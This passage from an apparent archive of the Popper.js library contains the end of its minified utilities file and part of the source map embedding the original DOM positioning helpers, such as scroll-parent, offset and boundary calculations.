c={};try{if(e(10)){c=a.getBoundingClientRect();var d=k(a,'top'),f=k(a,'left');c.top+=d,c.left+=f,c.bottom+=d,c.right+=f}else c=a.getBoundingClientRect()}catch(a){}var g={left:c.left,top:c.top,width:c.right-c.left,height:c.bottom-c.top},h='HTML'===a.nodeName?o(a.ownerDocument):{},i=h.width||a.clientWidth||g.right-g.left,j=h.height||a.clientHeight||g.bottom-g.top,l=a.offsetWidth-i,n=a.offsetHeight-j;if(l||n){var q=b(a);l-=m(q,'x'),n-=m(q,'y'),g.width-=l,g.height-=n}return p(g)}function r(a,c){var f=2<arguments.length&&void 0!==arguments[2]&&arguments[2],g=e(10),h='HTML'===c.nodeName,i=q(a),j=q(c),k=d(a),m=b(c),n=parseFloat(m.borderTopWidth,10),o=parseFloat(m.borderLeftWidth,10);f&&h&&(j.top=R(j.top,0),j.left=R(j.left,0));var r=p({top:i.top-j.top-n,left:i.left-j.left-o,width:i.width,height:i.height});if(r.marginTop=0,r.marginLeft=0,!g&&h){var s=parseFloat(m.marginTop,10),t=parseFloat(m.marginLeft,10);r.top-=n-s,r.bottom-=n-s,r.left-=o-t,r.right-=o-t,r.marginTop=s,r.marginLeft=t}return(g&&!f?c.contains(k):c===k&&'BODY'!==k.nodeName)&&(r=l(r,c)),r}function s(a){var b=1<arguments.length&&arguments[1]!==void 0&&arguments[1],c=a.ownerDocument.documentElement,d=r(a,c),e=R(c.clientWidth,window.innerWidth||0),f=R(c.clientHeight,window.innerHeight||0),g=b?0:k(c),h=b?0:k(c,'left'),i={top:g-d.top+d.marginTop,left:h-d.left+d.marginLeft,width:e,height:f};return p(i)}function t(a){var d=a.nodeName;return'BODY'===d||'HTML'===d?!1:!('fixed'!==b(a,'position'))||t(c(a))}function u(a){if(!a||!a.parentElement||e())return document.documentElement;for(var c=a.parentElement;c&&'none'===b(c,'transform');)c=c.parentElement;return c||document.documentElement}function v(a,b,e,f){var g=4<arguments.length&&void 0!==arguments[4]&&arguments[4],h={top:0,left:0},i=g?u(a):j(a,b);if('viewport'===f)h=s(i,g);else{var k;'scrollParent'===f?(k=d(c(b)),'BODY'===k.nodeName&&(k=a.ownerDocument.documentElement)):'window'===f?k=a.ownerDocument.documentElement:k=f;var l=r(k,i,g);if('HTML'===k.nodeName&&!t(i)){var m=o(a.ownerDocument),n=m.height,p=m.width;h.top+=l.top-l.marginTop,h.bottom=n+l.top,h.left+=l.left-l.marginLeft,h.right=p+l.left}else h=l}e=e||0;var q='number'==typeof e;return h.left+=q?e:e.left||0,h.top+=q?e:e.top||0,h.right-=q?e:e.right||0,h.bottom-=q?e:e.bottom||0,h}function w(a){var b=a.width,c=a.height;return b*c}function x(a,b,c,d,e){var f=5<arguments.length&&arguments[5]!==void 0?arguments[5]:0;if(-1===a.indexOf('auto'))return a;var g=v(c,d,f,e),h={top:{width:g.width,height:b.top-g.top},right:{width:g.right-b.right,height:g.height},bottom:{width:g.width,height:g.bottom-b.bottom},left:{width:b.left-g.left,height:g.height}},i=Object.keys(h).map(function(a){return V({key:a},h[a],{area:w(h[a])})}).sort(function(c,a){return a.area-c.area}),j=i.filter(function(a){var b=a.width,d=a.height;return b>=c.clientWidth&&d>=c.clientHeight}),k=0<j.length?j[0].key:i[0].key,l=a.split('-')[1];return k+(l?'-'+l:'')}function y(a,b){return Array.prototype.find?a.find(b):a.filter(b)[0]}function z(a,b,c){if(Array.prototype.findIndex)return a.findIndex(function(a){return a[b]===c});var d=y(a,function(a){return a[b]===c});return a.indexOf(d)}function A(a){var b;if('HTML'===a.nodeName){var c=o(a.ownerDocument),d=c.width,e=c.height;b={width:d,height:e,left:0,top:0}}else b={width:a.offsetWidth,height:a.offsetHeight,left:a.offsetLeft,top:a.offsetTop};return p(b)}function B(a){var b=a.ownerDocument.defaultView,c=b.getComputedStyle(a),d=parseFloat(c.marginTop)+parseFloat(c.marginBottom),e=parseFloat(c.marginLeft)+parseFloat(c.marginRight),f={width:a.offsetWidth+e,height:a.offsetHeight+d};return f}function C(a){var b={left:'right',right:'left',bottom:'top',top:'bottom'};return a.replace(/left|right|bottom|top/g,function(a){return b[a]})}function D(a,b,c){c=c.split('-')[0];var d=B(a),e={width:d.width,height:d.height},f=-1!==['right','left'].indexOf(c),g=f?'top':'left',h=f?'left':'top',i=f?'height':'width',j=f?'width':'height';return e[g]=b[g]+b[i]/2-d[i]/2,e[h]=c===h?b[h]-d[j]:b[C(h)],e}function E(a,b,c){var d=3<arguments.length&&arguments[3]!==void 0?arguments[3]:null,e=d?u(b):j(b,c);return r(c,e,d)}function F(a){for(var b=[!1,'ms','Webkit','Moz','O'],c=a.charAt(0).toUpperCase()+a.slice(1),d=0;d<b.length;d++){var e=b[d],f=e?''+e+c:a;if('undefined'!=typeof document.body.style[f])return f}return null}function G(a){return a&&'[object Function]'==={}.toString.call(a)}function H(a,b){return a.some(function(a){var c=a.name,d=a.enabled;return d&&c===b})}function I(a,b,c){var d=y(a,function(a){var c=a.name;return c===b}),e=!!d&&a.some(function(a){return a.name===c&&a.enabled&&a.order<d.order});if(!e){var f='`'+b+'`';console.warn('`'+c+'`'+' modifier is required by '+f+' modifier in order to work, be sure to include it before '+f+'!')}return e}function J(a){return''!==a&&!isNaN(parseFloat(a))&&isFinite(a)}function K(a){var b=a.ownerDocument;return b?b.defaultView:window}function L(a,b){return K(a).removeEventListener('resize',b.updateBound),b.scrollParents.forEach(function(a){a.removeEventListener('scroll',b.updateBound)}),b.updateBound=null,b.scrollParents=[],b.scrollElement=null,b.eventsEnabled=!1,b}function M(a,b,c){var d=void 0===c?a:a.slice(0,z(a,'name',c));return d.forEach(function(a){a['function']&&console.warn('`modifier.function` is deprecated, use `modifier.fn`!');var c=a['function']||a.fn;a.enabled&&G(c)&&(b.offsets.popper=p(b.offsets.popper),b.offsets.reference=p(b.offsets.reference),b=c(b,a))}),b}function N(a,b){Object.keys(b).forEach(function(c){var d=b[c];!1===d?a.removeAttribute(c):a.setAttribute(c,b[c])})}function O(a,b){Object.keys(b).forEach(function(c){var d='';-1!==['width','height','top','right','bottom','left'].indexOf(c)&&J(b[c])&&(d='px'),a.style[c]=b[c]+d})}function P(a,b,c,e){var f='BODY'===a.nodeName,g=f?a.ownerDocument.defaultView:a;g.addEventListener(b,c,{passive:!0}),f||P(d(g.parentNode),b,c,e),e.push(g)}function Q(a,b,c,e){c.updateBound=e,K(a).addEventListener('resize',c.updateBound,{passive:!0});var f=d(a);return P(f,'scroll',c.updateBound,c.scrollParents),c.scrollElement=f,c.eventsEnabled=!0,c}for(var R=Math.max,S='undefined'!=typeof window&&'undefined'!=typeof document,T=S&&!!(window.MSInputMethodContext&&document.documentMode),U=S&&/MSIE 10/.test(navigator.userAgent),V=Object.assign||function(a){for(var b,c=1;c<arguments.length;c++)for(var d in b=arguments[c],b)Object.prototype.hasOwnProperty.call(b,d)&&(a[d]=b[d]);return a},W=['Edge','Trident','Firefox'],X=0,Y=0;Y<W.length;Y+=1)if(S&&0<=navigator.userAgent.indexOf(W[Y])){X=1;break}var i=S&&window.Promise,Z=i?function(a){var b=!1;return function(){b||(b=!0,window.Promise.resolve().then(function(){b=!1,a()}))}}:function(a){var b=!1;return function(){b||(b=!0,setTimeout(function(){b=!1,a()},X))}};a.computeAutoPlacement=x,a.debounce=Z,a.findIndex=z,a.getBordersSize=m,a.getBoundaries=v,a.getBoundingClientRect=q,a.getClientRect=p,a.getOffsetParent=f,a.getOffsetRect=A,a.getOffsetRectRelativeToArbitraryNode=r,a.getOuterSizes=B,a.getParentNode=c,a.getPopperOffsets=D,a.getReferenceOffsets=E,a.getScroll=k,a.getScrollParent=d,a.getStyleComputedProperty=b,a.getSupportedPropertyName=F,a.getWindowSizes=o,a.isFixed=t,a.isFunction=G,a.isModifierEnabled=H,a.isModifierRequired=I,a.isNumeric=J,a.removeEventListeners=L,a.runModifiers=M,a.setAttributes=N,a.setStyles=O,a.setupEventListeners=Q,a['default']={computeAutoPlacement:x,debounce:Z,findIndex:z,getBordersSize:m,getBoundaries:v,getBoundingClientRect:q,getClientRect:p,getOffsetParent:f,getOffsetRect:A,getOffsetRectRelativeToArbitraryNode:r,getOuterSizes:B,getParentNode:c,getPopperOffsets:D,getReferenceOffsets:E,getScroll:k,getScrollParent:d,getStyleComputedProperty:b,getSupportedPropertyName:F,getWindowSizes:o,isFixed:t,isFunction:G,isModifierEnabled:H,isModifierRequired:I,isNumeric:J,removeEventListeners:L,runModifiers:M,setAttributes:N,setStyles:O,setupEventListeners:Q},Object.defineProperty(a,'__esModule',{value:!0})});
//# sourceMappingURL=popper-utils.min.js.map
umd/popper-utils.min.js.map000064400000147472151677356750011735 0ustar00{"version":3,"file":"popper-utils.min.js","sources":["../../src/utils/getStyleComputedProperty.js","../../src/utils/getParentNode.js","../../src/utils/getScrollParent.js","../../src/utils/isIE.js","../../src/utils/getOffsetParent.js","../../src/utils/isOffsetContainer.js","../../src/utils/getRoot.js","../../src/utils/findCommonOffsetParent.js","../../src/utils/getScroll.js","../../src/utils/includeScroll.js","../../src/utils/getBordersSize.js","../../src/utils/getWindowSizes.js","../../src/utils/getClientRect.js","../../src/utils/getBoundingClientRect.js","../../src/utils/getOffsetRectRelativeToArbitraryNode.js","../../src/utils/getViewportOffsetRectRelativeToArtbitraryNode.js","../../src/utils/isFixed.js","../../src/utils/getFixedPositionOffsetParent.js","../../src/utils/getBoundaries.js","../../src/utils/computeAutoPlacement.js","../../src/utils/find.js","../../src/utils/findIndex.js","../../src/utils/getOffsetRect.js","../../src/utils/getOuterSizes.js","../../src/utils/getOppositePlacement.js","../../src/utils/getPopperOffsets.js","../../src/utils/getReferenceOffsets.js","../../src/utils/getSupportedPropertyName.js","../../src/utils/isFunction.js","../../src/utils/isModifierEnabled.js","../../src/utils/isModifierRequired.js","../../src/utils/isNumeric.js","../../src/utils/getWindow.js","../../src/utils/removeEventListeners.js","../../src/utils/runModifiers.js","../../src/utils/setAttributes.js","../../src/utils/setStyles.js","../../src/utils/setupEventListeners.js","../../src/utils/debounce.js","../../src/utils/isBrowser.js","../../src/utils/index.js"],"sourcesContent":["/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nexport default function getStyleComputedProperty(element, property) {\n  if (element.nodeType !== 1) {\n    return [];\n  }\n  // NOTE: 1 DOM access here\n  const window = element.ownerDocument.defaultView;\n  const css = window.getComputedStyle(element, null);\n  return property ? css[property] : css;\n}\n","/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nexport default function getParentNode(element) {\n  if (element.nodeName === 'HTML') {\n    return element;\n  }\n  return element.parentNode || element.host;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nexport default function getScrollParent(element) {\n  // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n  if (!element) {\n    return document.body\n  }\n\n  switch (element.nodeName) {\n    case 'HTML':\n    case 'BODY':\n      return element.ownerDocument.body\n    case '#document':\n      return element.body\n  }\n\n  // Firefox want us to check `-x` and `-y` variations as well\n  const { overflow, overflowX, overflowY } = getStyleComputedProperty(element);\n  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n    return element;\n  }\n\n  return getScrollParent(getParentNode(element));\n}\n","import isBrowser from './isBrowser';\n\nconst isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);\nconst isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);\n\n/**\n * Determines if the browser is Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @param {Number} version to check\n * @returns {Boolean} isIE\n */\nexport default function isIE(version) {\n  if (version === 11) {\n    return isIE11;\n  }\n  if (version === 10) {\n    return isIE10;\n  }\n  return isIE11 || isIE10;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nexport default function getOffsetParent(element) {\n  if (!element) {\n    return document.documentElement;\n  }\n\n  const noOffsetParent = isIE(10) ? document.body : null;\n\n  // NOTE: 1 DOM access here\n  let offsetParent = element.offsetParent || null;\n  // Skip hidden elements which don't have an offsetParent\n  while (offsetParent === noOffsetParent && element.nextElementSibling) {\n    offsetParent = (element = element.nextElementSibling).offsetParent;\n  }\n\n  const nodeName = offsetParent && offsetParent.nodeName;\n\n  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n    return element ? element.ownerDocument.documentElement : document.documentElement;\n  }\n\n  // .offsetParent will return the closest TH, TD or TABLE in case\n  // no offsetParent is present, I hate this job...\n  if (\n    ['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 &&\n    getStyleComputedProperty(offsetParent, 'position') === 'static'\n  ) {\n    return getOffsetParent(offsetParent);\n  }\n\n  return offsetParent;\n}\n","import getOffsetParent from './getOffsetParent';\n\nexport default function isOffsetContainer(element) {\n  const { nodeName } = element;\n  if (nodeName === 'BODY') {\n    return false;\n  }\n  return (\n    nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element\n  );\n}\n","/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nexport default function getRoot(node) {\n  if (node.parentNode !== null) {\n    return getRoot(node.parentNode);\n  }\n\n  return node;\n}\n","import isOffsetContainer from './isOffsetContainer';\nimport getRoot from './getRoot';\nimport getOffsetParent from './getOffsetParent';\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nexport default function findCommonOffsetParent(element1, element2) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n    return document.documentElement;\n  }\n\n  // Here we make sure to give as \"start\" the element that comes first in the DOM\n  const order =\n    element1.compareDocumentPosition(element2) &\n    Node.DOCUMENT_POSITION_FOLLOWING;\n  const start = order ? element1 : element2;\n  const end = order ? element2 : element1;\n\n  // Get common ancestor container\n  const range = document.createRange();\n  range.setStart(start, 0);\n  range.setEnd(end, 0);\n  const { commonAncestorContainer } = range;\n\n  // Both nodes are inside #document\n  if (\n    (element1 !== commonAncestorContainer &&\n      element2 !== commonAncestorContainer) ||\n    start.contains(end)\n  ) {\n    if (isOffsetContainer(commonAncestorContainer)) {\n      return commonAncestorContainer;\n    }\n\n    return getOffsetParent(commonAncestorContainer);\n  }\n\n  // one of the nodes is inside shadowDOM, find which one\n  const element1root = getRoot(element1);\n  if (element1root.host) {\n    return findCommonOffsetParent(element1root.host, element2);\n  } else {\n    return findCommonOffsetParent(element1, getRoot(element2).host);\n  }\n}\n","/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nexport default function getScroll(element, side = 'top') {\n  const upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n  const nodeName = element.nodeName;\n\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    const html = element.ownerDocument.documentElement;\n    const scrollingElement = element.ownerDocument.scrollingElement || html;\n    return scrollingElement[upperSide];\n  }\n\n  return element[upperSide];\n}\n","import getScroll from './getScroll';\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nexport default function includeScroll(rect, element, subtract = false) {\n  const scrollTop = getScroll(element, 'top');\n  const scrollLeft = getScroll(element, 'left');\n  const modifier = subtract ? -1 : 1;\n  rect.top += scrollTop * modifier;\n  rect.bottom += scrollTop * modifier;\n  rect.left += scrollLeft * modifier;\n  rect.right += scrollLeft * modifier;\n  return rect;\n}\n","/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nexport default function getBordersSize(styles, axis) {\n  const sideA = axis === 'x' ? 'Left' : 'Top';\n  const sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n  return (\n    parseFloat(styles[`border${sideA}Width`], 10) +\n    parseFloat(styles[`border${sideB}Width`], 10)\n  );\n}\n","import isIE from './isIE';\n\nfunction getSize(axis, body, html, computedStyle) {\n  return Math.max(\n    body[`offset${axis}`],\n    body[`scroll${axis}`],\n    html[`client${axis}`],\n    html[`offset${axis}`],\n    html[`scroll${axis}`],\n    isIE(10)\n      ? (parseInt(html[`offset${axis}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Top' : 'Left'}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Bottom' : 'Right'}`]))\n    : 0 \n  );\n}\n\nexport default function getWindowSizes(document) {\n  const body = document.body;\n  const html = document.documentElement;\n  const computedStyle = isIE(10) && getComputedStyle(html);\n\n  return {\n    height: getSize('Height', body, html, computedStyle),\n    width: getSize('Width', body, html, computedStyle),\n  };\n}\n","/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nexport default function getClientRect(offsets) {\n  return {\n    ...offsets,\n    right: offsets.left + offsets.width,\n    bottom: offsets.top + offsets.height,\n  };\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getBordersSize from './getBordersSize';\nimport getWindowSizes from './getWindowSizes';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\nimport isIE from './isIE';\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nexport default function getBoundingClientRect(element) {\n  let rect = {};\n\n  // IE10 10 FIX: Please, don't ask, the element isn't\n  // considered in DOM in some circumstances...\n  // This isn't reproducible in IE10 compatibility mode of IE11\n  try {\n    if (isIE(10)) {\n      rect = element.getBoundingClientRect();\n      const scrollTop = getScroll(element, 'top');\n      const scrollLeft = getScroll(element, 'left');\n      rect.top += scrollTop;\n      rect.left += scrollLeft;\n      rect.bottom += scrollTop;\n      rect.right += scrollLeft;\n    }\n    else {\n      rect = element.getBoundingClientRect();\n    }\n  }\n  catch(e){}\n\n  const result = {\n    left: rect.left,\n    top: rect.top,\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top,\n  };\n\n  // subtract scrollbar size from sizes\n  const sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};\n  const width =\n    sizes.width || element.clientWidth || result.right - result.left;\n  const height =\n    sizes.height || element.clientHeight || result.bottom - result.top;\n\n  let horizScrollbar = element.offsetWidth - width;\n  let vertScrollbar = element.offsetHeight - height;\n\n  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n  // we make this check conditional for performance reasons\n  if (horizScrollbar || vertScrollbar) {\n    const styles = getStyleComputedProperty(element);\n    horizScrollbar -= getBordersSize(styles, 'x');\n    vertScrollbar -= getBordersSize(styles, 'y');\n\n    result.width -= horizScrollbar;\n    result.height -= vertScrollbar;\n  }\n\n  return getClientRect(result);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport includeScroll from './includeScroll';\nimport getScrollParent from './getScrollParent';\nimport getBoundingClientRect from './getBoundingClientRect';\nimport runIsIE from './isIE';\nimport getClientRect from './getClientRect';\n\nexport default function getOffsetRectRelativeToArbitraryNode(children, parent, fixedPosition = false) {\n  const isIE10 = runIsIE(10);\n  const isHTML = parent.nodeName === 'HTML';\n  const childrenRect = getBoundingClientRect(children);\n  const parentRect = getBoundingClientRect(parent);\n  const scrollParent = getScrollParent(children);\n\n  const styles = getStyleComputedProperty(parent);\n  const borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n  const borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n  // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n  if(fixedPosition && isHTML) {\n    parentRect.top = Math.max(parentRect.top, 0);\n    parentRect.left = Math.max(parentRect.left, 0);\n  }\n  let offsets = getClientRect({\n    top: childrenRect.top - parentRect.top - borderTopWidth,\n    left: childrenRect.left - parentRect.left - borderLeftWidth,\n    width: childrenRect.width,\n    height: childrenRect.height,\n  });\n  offsets.marginTop = 0;\n  offsets.marginLeft = 0;\n\n  // Subtract margins of documentElement in case it's being used as parent\n  // we do this only on HTML because it's the only element that behaves\n  // differently when margins are applied to it. The margins are included in\n  // the box of the documentElement, in the other cases not.\n  if (!isIE10 && isHTML) {\n    const marginTop = parseFloat(styles.marginTop, 10);\n    const marginLeft = parseFloat(styles.marginLeft, 10);\n\n    offsets.top -= borderTopWidth - marginTop;\n    offsets.bottom -= borderTopWidth - marginTop;\n    offsets.left -= borderLeftWidth - marginLeft;\n    offsets.right -= borderLeftWidth - marginLeft;\n\n    // Attach marginTop and marginLeft because in some circumstances we may need them\n    offsets.marginTop = marginTop;\n    offsets.marginLeft = marginLeft;\n  }\n\n  if (\n    isIE10 && !fixedPosition\n      ? parent.contains(scrollParent)\n      : parent === scrollParent && scrollParent.nodeName !== 'BODY'\n  ) {\n    offsets = includeScroll(offsets, parent);\n  }\n\n  return offsets;\n}\n","import getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\n\nexport default function getViewportOffsetRectRelativeToArtbitraryNode(element, excludeScroll = false) {\n  const html = element.ownerDocument.documentElement;\n  const relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n  const width = Math.max(html.clientWidth, window.innerWidth || 0);\n  const height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n  const scrollTop = !excludeScroll ? getScroll(html) : 0;\n  const scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n  const offset = {\n    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n    width,\n    height,\n  };\n\n  return getClientRect(offset);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nexport default function isFixed(element) {\n  const nodeName = element.nodeName;\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    return false;\n  }\n  if (getStyleComputedProperty(element, 'position') === 'fixed') {\n    return true;\n  }\n  return isFixed(getParentNode(element));\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nexport default function getFixedPositionOffsetParent(element) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n   if (!element || !element.parentElement || isIE()) {\n    return document.documentElement;\n  }\n  let el = element.parentElement;\n  while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n    el = el.parentElement;\n  }\n  return el || document.documentElement;\n\n}\n","import getScrollParent from './getScrollParent';\nimport getParentNode from './getParentNode';\nimport findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getViewportOffsetRectRelativeToArtbitraryNode from './getViewportOffsetRectRelativeToArtbitraryNode';\nimport getWindowSizes from './getWindowSizes';\nimport isFixed from './isFixed';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nexport default function getBoundaries(\n  popper,\n  reference,\n  padding,\n  boundariesElement,\n  fixedPosition = false\n) {\n  // NOTE: 1 DOM access here\n\n  let boundaries = { top: 0, left: 0 };\n  const offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n  // Handle viewport case\n  if (boundariesElement === 'viewport' ) {\n    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n  }\n\n  else {\n    // Handle other cases based on DOM element used as boundaries\n    let boundariesNode;\n    if (boundariesElement === 'scrollParent') {\n      boundariesNode = getScrollParent(getParentNode(reference));\n      if (boundariesNode.nodeName === 'BODY') {\n        boundariesNode = popper.ownerDocument.documentElement;\n      }\n    } else if (boundariesElement === 'window') {\n      boundariesNode = popper.ownerDocument.documentElement;\n    } else {\n      boundariesNode = boundariesElement;\n    }\n\n    const offsets = getOffsetRectRelativeToArbitraryNode(\n      boundariesNode,\n      offsetParent,\n      fixedPosition\n    );\n\n    // In case of HTML, we need a different computation\n    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n      const { height, width } = getWindowSizes(popper.ownerDocument);\n      boundaries.top += offsets.top - offsets.marginTop;\n      boundaries.bottom = height + offsets.top;\n      boundaries.left += offsets.left - offsets.marginLeft;\n      boundaries.right = width + offsets.left;\n    } else {\n      // for all the other DOM elements, this one is good\n      boundaries = offsets;\n    }\n  }\n\n  // Add paddings\n  padding = padding || 0;\n  const isPaddingNumber = typeof padding === 'number';\n  boundaries.left += isPaddingNumber ? padding : padding.left || 0; \n  boundaries.top += isPaddingNumber ? padding : padding.top || 0; \n  boundaries.right -= isPaddingNumber ? padding : padding.right || 0; \n  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0; \n\n  return boundaries;\n}\n","import getBoundaries from '../utils/getBoundaries';\n\nfunction getArea({ width, height }) {\n  return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeAutoPlacement(\n  placement,\n  refRect,\n  popper,\n  reference,\n  boundariesElement,\n  padding = 0\n) {\n  if (placement.indexOf('auto') === -1) {\n    return placement;\n  }\n\n  const boundaries = getBoundaries(\n    popper,\n    reference,\n    padding,\n    boundariesElement\n  );\n\n  const rects = {\n    top: {\n      width: boundaries.width,\n      height: refRect.top - boundaries.top,\n    },\n    right: {\n      width: boundaries.right - refRect.right,\n      height: boundaries.height,\n    },\n    bottom: {\n      width: boundaries.width,\n      height: boundaries.bottom - refRect.bottom,\n    },\n    left: {\n      width: refRect.left - boundaries.left,\n      height: boundaries.height,\n    },\n  };\n\n  const sortedAreas = Object.keys(rects)\n    .map(key => ({\n      key,\n      ...rects[key],\n      area: getArea(rects[key]),\n    }))\n    .sort((a, b) => b.area - a.area);\n\n  const filteredAreas = sortedAreas.filter(\n    ({ width, height }) =>\n      width >= popper.clientWidth && height >= popper.clientHeight\n  );\n\n  const computedPlacement = filteredAreas.length > 0\n    ? filteredAreas[0].key\n    : sortedAreas[0].key;\n\n  const variation = placement.split('-')[1];\n\n  return computedPlacement + (variation ? `-${variation}` : '');\n}\n","/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function find(arr, check) {\n  // use native find if supported\n  if (Array.prototype.find) {\n    return arr.find(check);\n  }\n\n  // use `filter` to obtain the same behavior of `find`\n  return arr.filter(check)[0];\n}\n","import find from './find';\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function findIndex(arr, prop, value) {\n  // use native findIndex if supported\n  if (Array.prototype.findIndex) {\n    return arr.findIndex(cur => cur[prop] === value);\n  }\n\n  // use `find` + `indexOf` if `findIndex` isn't supported\n  const match = find(arr, obj => obj[prop] === value);\n  return arr.indexOf(match);\n}\n","import getWindowSizes from './getWindowSizes';\nimport getClientRect from './getClientRect';\n\n/**\n * Get the position of the given element, relative to its offset parent\n * @method\n * @memberof Popper.Utils\n * @param {Element} element\n * @return {Object} position - Coordinates of the element and its `scrollTop`\n */\nexport default function getOffsetRect(element) {\n  let elementRect;\n  if (element.nodeName === 'HTML') {\n    const { width, height } = getWindowSizes(element.ownerDocument);\n    elementRect = {\n      width,\n      height,\n      left: 0,\n      top: 0,\n    };\n  } else {\n    elementRect = {\n      width: element.offsetWidth,\n      height: element.offsetHeight,\n      left: element.offsetLeft,\n      top: element.offsetTop,\n    };\n  }\n\n  // position\n  return getClientRect(elementRect);\n}\n","/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nexport default function getOuterSizes(element) {\n  const window = element.ownerDocument.defaultView;\n  const styles = window.getComputedStyle(element);\n  const x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n  const y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n  const result = {\n    width: element.offsetWidth + y,\n    height: element.offsetHeight + x,\n  };\n  return result;\n}\n","/**\n * Get the opposite placement 